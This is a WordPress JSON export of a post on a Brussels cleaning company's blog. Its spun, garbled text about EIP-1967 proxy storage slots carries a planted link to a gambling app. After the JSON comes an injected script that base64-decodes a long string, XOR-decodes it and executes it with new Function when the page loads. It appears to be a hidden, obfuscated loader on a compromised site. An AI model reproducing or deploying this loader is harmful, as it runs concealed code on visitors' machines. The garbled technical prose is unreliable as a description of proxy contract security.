{"id":16368,"date":"2026-08-19T17:36:52","date_gmt":"2026-08-19T15:36:52","guid":{"rendered":"https:\/\/www.tooclean.be\/blog\/?p=16368"},"modified":"2026-08-19T17:36:52","modified_gmt":"2026-08-19T15:36:52","slug":"audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0","status":"publish","type":"post","link":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/","title":{"rendered":"Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0"},"content":{"rendered":"<p>This allows the fresh new beacon proxy development, where lots of proxy agreements point out just one beacon bargain one to keeps the current reasoning target. An useful help guide to implementing and you may reaching sites ports while the laid out because of the EIP-1967, the standard getting proxy deal sites visuals. This brings good universal venue in which proxy reasoning (such ERC-1967Proxy) looks for the present day reason price, helping smooth updates as opposed to modifying the newest proxy&#8217;s target or shop concept to have pages.<\/p>\n<h2>When you implement proxies, reasoning and you will execution display an equivalent shop build<\/h2>\n<p>Vyper seems to follow the exact same approach because Solidity. A 3rd storage slot is included contained in this EIP to have an optional admin target that is permitted to inform the fresh logic offer address because of it proxy, Because delegatecall carries out implementation password with the proxy&#8217;s stores, improvements are just safer in the event the stores build stays appropriate. It navigation strategy suppress function selector conflicts anywhere between proxy admin qualities and you will implementation qualities, since administrator calls and you will associate calls pursue independent code paths. Very actual-globe implementations trust proxy models, cautious shop layout punishment, and you may strict upgrade governance to quit catastrophic downfalls.<\/p>\n<p>Emits a keen Initializable.Initialized experiences the first occasion it is effectively conducted. The latest beacon address is actually stored in shops slot uint256(keccak256(&#8216;eip1967.proxy.beacon&#8217;)) &#8211; 1, so that it will not dispute to the shops concept of your execution trailing the fresh new proxy. Which target try stored in storage regarding place given of the EIP1967, therefore it will not dispute on the shop design of your implementation at the rear of the new proxy. Utilizing the same execution and you can salt several go out will revert, since the clones can not be deployed double in one target. The latest modify operations try taken to the brand new beacon unlike so you&#8217;re able to the new proxy offer, as well as proxies one to go after you to beacon are automatically updated.<\/p>\n<h2>Which decouples the newest proxy&#8217;s sites layout in the reason contract&#8217;s, an option principle having safer improvements<\/h2>\n<p>Which ensures that an excellent delegatecall regarding the proxy to your implementation correctly reads and writes to an excellent unified, foreseeable shops layout, which is the foundation regarding safer upgradeability. The primary procedure for preventing shops accidents &#8216;s the entry to pseudorandom position ranking produced from keccak hashes out of book chain. Understand moreSometimes you happen to be asked to solve the latest CAPTCHA in the event the you are having fun with advanced terminology one to crawlers are known to use, otherwise sending demands in no time. Decide to try proxy implementations you to follow this fundamental have been in the fresh new ZeppelinOS data source, albeit with a different sort of selection of harbors.<\/p>\n<p>You transformed accounts to the a new loss otherwise screen. Your signed call at a different case otherwise screen. You signed inside <a href=\"https:\/\/boostbet-au.com\/\">BoostBet app<\/a> the which have another type of loss otherwise screen. A different method is to get ready the new shop style in a sense you to distinguishes different products of the price, such as playing with namespaces.<\/p>\n<p>Find out how upgradeability brings up stores layout limits and you can migration chance getting a complete framework to your proxy defense frameworks. This guide demonstrates to you how EVM shops functions from the slot top, in which crashes can be found, how the industry&#8217;s simple minimization patterns work, and you can just what an extensive audit from shop design covers. A few of these patterns end storage slot collisions that with hash-derived position positions that are mathematically protected not to ever conflict that have the newest proxy&#8217;s individual shops design.<\/p>\n<p>Since expensive diamonds do not have max bargain dimensions, there&#8217;s no limitation into the number of abilities that will be included in diamonds through the years. The newest inform operations which can be sent to the fresh new beacon as opposed to on the proxy offer, as well as proxies that pursue one beacon are immediately up-to-date. Within the Solidity, code that is to the an effective constructor otherwise section of an international changeable statement is not section of a deployed contract&#8217;s runtime bytecode. The initial proxies included in OpenZeppelin adopted the fresh Transparent Proxy Development.<\/p>\n<p>Which pattern is frequently used for higher otherwise changing software one to want independence and upgradeability over time. Of the breaking up the new proxy regarding the reasoning, profiles rescue gasoline compared to the deploying an entire smart bargain purse, and you will Secure is also update the fresh handbag reasoning over time instead of changing user account addresses. They may fool around with unique shops design, personalized modify logic, otherwise nonstandard administrator systems.<\/p>\n<p>The brand new beacon development along with uses EIP-1967&#8217;s _BEACON_Slot to store the newest beacon address for the for every proxy, remaining the latest storage layout foreseeable and you will secure. When you are UUPS proxies be a little more fuel-productive, they also have confidence in standard sites ports (defined within the EIP-1967 towards execution target) to keep up a consistent and collision-100 % free shops layout round the other proxy products. Trick harbors discussed by the standard through the execution position having the current reason bargain target, the new administrator position (into the proxy&#8217;s manager, will used in combination with Transparent Proxy designs), while the beacon slot (getting Beacon Proxy models). In lieu of using low-numbered harbors (elizabeth.g., 0, 1) which can be vulnerable to accidents to your implementation&#8217;s own shops style, it exercise ports playing with an effective hash from another type of sequence. A storage Slot in the context of EIP-1967 are a particular, booked place inside the an effective proxy contract&#8217;s persistent stores used to keep critical address contact information, including the execution offer otherwise admin, following an accident-unwilling scheme.<\/p>\n<p>So it EIP standardises the fresh new shops slot towards reason offer target, in place of a public method towards proxy price because the DelegateProxy (EIP897) do. As such, the new suggested sites ports to own proxy-specific advice is the after the. The fresh new Solidity innovation people features verified the storage design is actually to be kept certainly the newest types. A different analogy is actually reasoning deals one explicitly do something about the reality that that they&#8217;re getting proxied.<\/p>\n<p>It standardizes where proxy places the fresh new reasoning offer target and you can administrator details, preventing unintentional overwrites and you will stores problems. #Wise Price Implementation The next Solidity records apply a basic Clear Proxy Development based on EIP-1967. Lower than was a detailed cause of one&#8217;s proxy practical, accompanied by the latest execution details.<\/p>\n<p>A functional guide to UUPS Proxy Updates having Foundry &#8211; Find out the UUPS proxy pattern, the positives over other actions, and pursue a leap-by-action Foundry walkthrough to implement and you will change your own sple and you may comprehend the important effects of shops layout and you will centralization risks. High, therefore when a call is distributed to your proxy contract, we could possibly expect that it is routed to that particular execution, remembering however the investigation sent on the form often indeed be stored inside SmallProxy&#8217;s shops. You could backup and you will paste which code to the Remix if you would wish to follow along!<\/p>\n<p>Reload to refresh your example. As the a confidential Ethereum Digital Servers (EVM), Oasis inhibits outside accessibility bargain shop otherwise runtime claims for the order to keep your treasures private. Octane&#8217;s modify-produced devices catch these types of accurate insects \ufffd non-atomic proxy deployments, shops layout trips, forgotten UUPS shields, and you can hazardous `delegatecalls` \ufffd and offer you to definitely-click patch diffs you could implement immediately.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This allows the fresh new beacon proxy development, where lots of proxy agreements point out just one beacon bargain one to keeps the current reasoning target. An useful help guide to implementing and you may reaching sites ports while the laid out because of the EIP-1967, the standard getting proxy deal sites visuals. This brings &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\"> <span class=\"screen-reader-text\">Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0<\/span> Read More &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":""},"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.8 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Audits have to guarantee the latest implementation&#039;s storage layout begins within slot 0x0 - Entreprise de nettoyage \u00e0 Bruxelles | Too Clean<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Audits have to guarantee the latest implementation&#039;s storage layout begins within slot 0x0 - Entreprise de nettoyage \u00e0 Bruxelles | Too Clean\" \/>\n<meta property=\"og:description\" content=\"This allows the fresh new beacon proxy development, where lots of proxy agreements point out just one beacon bargain one to keeps the current reasoning target. An useful help guide to implementing and you may reaching sites ports while the laid out because of the EIP-1967, the standard getting proxy deal sites visuals. This brings &hellip; Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0 Read More &raquo;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\" \/>\n<meta property=\"og:site_name\" content=\"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-19T15:36:52+00:00\" \/>\n<meta name=\"author\" content=\"tcleanbxl\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"tcleanbxl\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\"},\"author\":{\"name\":\"tcleanbxl\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/#\/schema\/person\/c88d6337090a6e0a9235fc7788f088d1\"},\"headline\":\"Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0\",\"datePublished\":\"2026-08-19T15:36:52+00:00\",\"dateModified\":\"2026-08-19T15:36:52+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\"},\"wordCount\":1327,\"publisher\":{\"@id\":\"https:\/\/www.tooclean.be\/blog\/#organization\"},\"articleSection\":[\"Non class\u00e9\"],\"inLanguage\":\"fr-FR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\",\"url\":\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\",\"name\":\"Audits have to guarantee the latest implementation's storage layout begins within slot 0x0 - Entreprise de nettoyage \u00e0 Bruxelles | Too Clean\",\"isPartOf\":{\"@id\":\"https:\/\/www.tooclean.be\/blog\/#website\"},\"datePublished\":\"2026-08-19T15:36:52+00:00\",\"dateModified\":\"2026-08-19T15:36:52+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.tooclean.be\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/#website\",\"url\":\"https:\/\/www.tooclean.be\/blog\/\",\"name\":\"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/www.tooclean.be\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.tooclean.be\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/#organization\",\"name\":\"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean\",\"url\":\"https:\/\/www.tooclean.be\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.tooclean.be\/blog\/wp-content\/uploads\/2019\/12\/cleaning-logo.png\",\"contentUrl\":\"https:\/\/www.tooclean.be\/blog\/wp-content\/uploads\/2019\/12\/cleaning-logo.png\",\"width\":147,\"height\":71,\"caption\":\"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean\"},\"image\":{\"@id\":\"https:\/\/www.tooclean.be\/blog\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/#\/schema\/person\/c88d6337090a6e0a9235fc7788f088d1\",\"name\":\"tcleanbxl\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/www.tooclean.be\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/fa92c8d8a4663265132b8a9e701c7c0e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/fa92c8d8a4663265132b8a9e701c7c0e?s=96&d=mm&r=g\",\"caption\":\"tcleanbxl\"},\"sameAs\":[\"https:\/\/www.tooclean.be\/blog\"],\"url\":\"https:\/\/www.tooclean.be\/blog\/author\/tcleanbxl\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Audits have to guarantee the latest implementation's storage layout begins within slot 0x0 - Entreprise de nettoyage \u00e0 Bruxelles | Too Clean","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/","og_locale":"fr_FR","og_type":"article","og_title":"Audits have to guarantee the latest implementation's storage layout begins within slot 0x0 - Entreprise de nettoyage \u00e0 Bruxelles | Too Clean","og_description":"This allows the fresh new beacon proxy development, where lots of proxy agreements point out just one beacon bargain one to keeps the current reasoning target. An useful help guide to implementing and you may reaching sites ports while the laid out because of the EIP-1967, the standard getting proxy deal sites visuals. This brings &hellip; Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0 Read More &raquo;","og_url":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/","og_site_name":"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean","article_published_time":"2026-08-19T15:36:52+00:00","author":"tcleanbxl","twitter_card":"summary_large_image","twitter_misc":{"Written by":"tcleanbxl","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/#article","isPartOf":{"@id":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/"},"author":{"name":"tcleanbxl","@id":"https:\/\/www.tooclean.be\/blog\/#\/schema\/person\/c88d6337090a6e0a9235fc7788f088d1"},"headline":"Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0","datePublished":"2026-08-19T15:36:52+00:00","dateModified":"2026-08-19T15:36:52+00:00","mainEntityOfPage":{"@id":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/"},"wordCount":1327,"publisher":{"@id":"https:\/\/www.tooclean.be\/blog\/#organization"},"articleSection":["Non class\u00e9"],"inLanguage":"fr-FR"},{"@type":"WebPage","@id":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/","url":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/","name":"Audits have to guarantee the latest implementation's storage layout begins within slot 0x0 - Entreprise de nettoyage \u00e0 Bruxelles | Too Clean","isPartOf":{"@id":"https:\/\/www.tooclean.be\/blog\/#website"},"datePublished":"2026-08-19T15:36:52+00:00","dateModified":"2026-08-19T15:36:52+00:00","breadcrumb":{"@id":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.tooclean.be\/blog\/audits-have-to-guarantee-the-latest-implementations-storage-layout-begins-within-slot-0x0\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.tooclean.be\/blog\/"},{"@type":"ListItem","position":2,"name":"Audits have to guarantee the latest implementation&#8217;s storage layout begins within slot 0x0"}]},{"@type":"WebSite","@id":"https:\/\/www.tooclean.be\/blog\/#website","url":"https:\/\/www.tooclean.be\/blog\/","name":"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean","description":"","publisher":{"@id":"https:\/\/www.tooclean.be\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.tooclean.be\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/www.tooclean.be\/blog\/#organization","name":"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean","url":"https:\/\/www.tooclean.be\/blog\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/www.tooclean.be\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.tooclean.be\/blog\/wp-content\/uploads\/2019\/12\/cleaning-logo.png","contentUrl":"https:\/\/www.tooclean.be\/blog\/wp-content\/uploads\/2019\/12\/cleaning-logo.png","width":147,"height":71,"caption":"Entreprise de nettoyage \u00e0 Bruxelles | Too Clean"},"image":{"@id":"https:\/\/www.tooclean.be\/blog\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/www.tooclean.be\/blog\/#\/schema\/person\/c88d6337090a6e0a9235fc7788f088d1","name":"tcleanbxl","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/www.tooclean.be\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/fa92c8d8a4663265132b8a9e701c7c0e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/fa92c8d8a4663265132b8a9e701c7c0e?s=96&d=mm&r=g","caption":"tcleanbxl"},"sameAs":["https:\/\/www.tooclean.be\/blog"],"url":"https:\/\/www.tooclean.be\/blog\/author\/tcleanbxl\/"}]}},"_links":{"self":[{"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/posts\/16368"}],"collection":[{"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/comments?post=16368"}],"version-history":[{"count":1,"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/posts\/16368\/revisions"}],"predecessor-version":[{"id":16369,"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/posts\/16368\/revisions\/16369"}],"wp:attachment":[{"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/media?parent=16368"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/categories?post=16368"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.tooclean.be\/blog\/wp-json\/wp\/v2\/tags?post=16368"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>